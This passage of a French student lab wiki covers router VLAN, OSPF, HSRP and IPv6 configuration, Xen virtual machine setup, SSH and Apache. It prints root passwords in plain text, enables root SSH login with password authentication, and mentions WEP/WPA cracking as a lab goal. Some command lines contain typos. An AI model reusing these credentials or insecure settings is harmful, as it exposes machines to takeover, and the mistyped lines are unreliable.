   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51585</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51585"/>
				<updated>2019-12-07T03:26:01Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Mise en place du DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
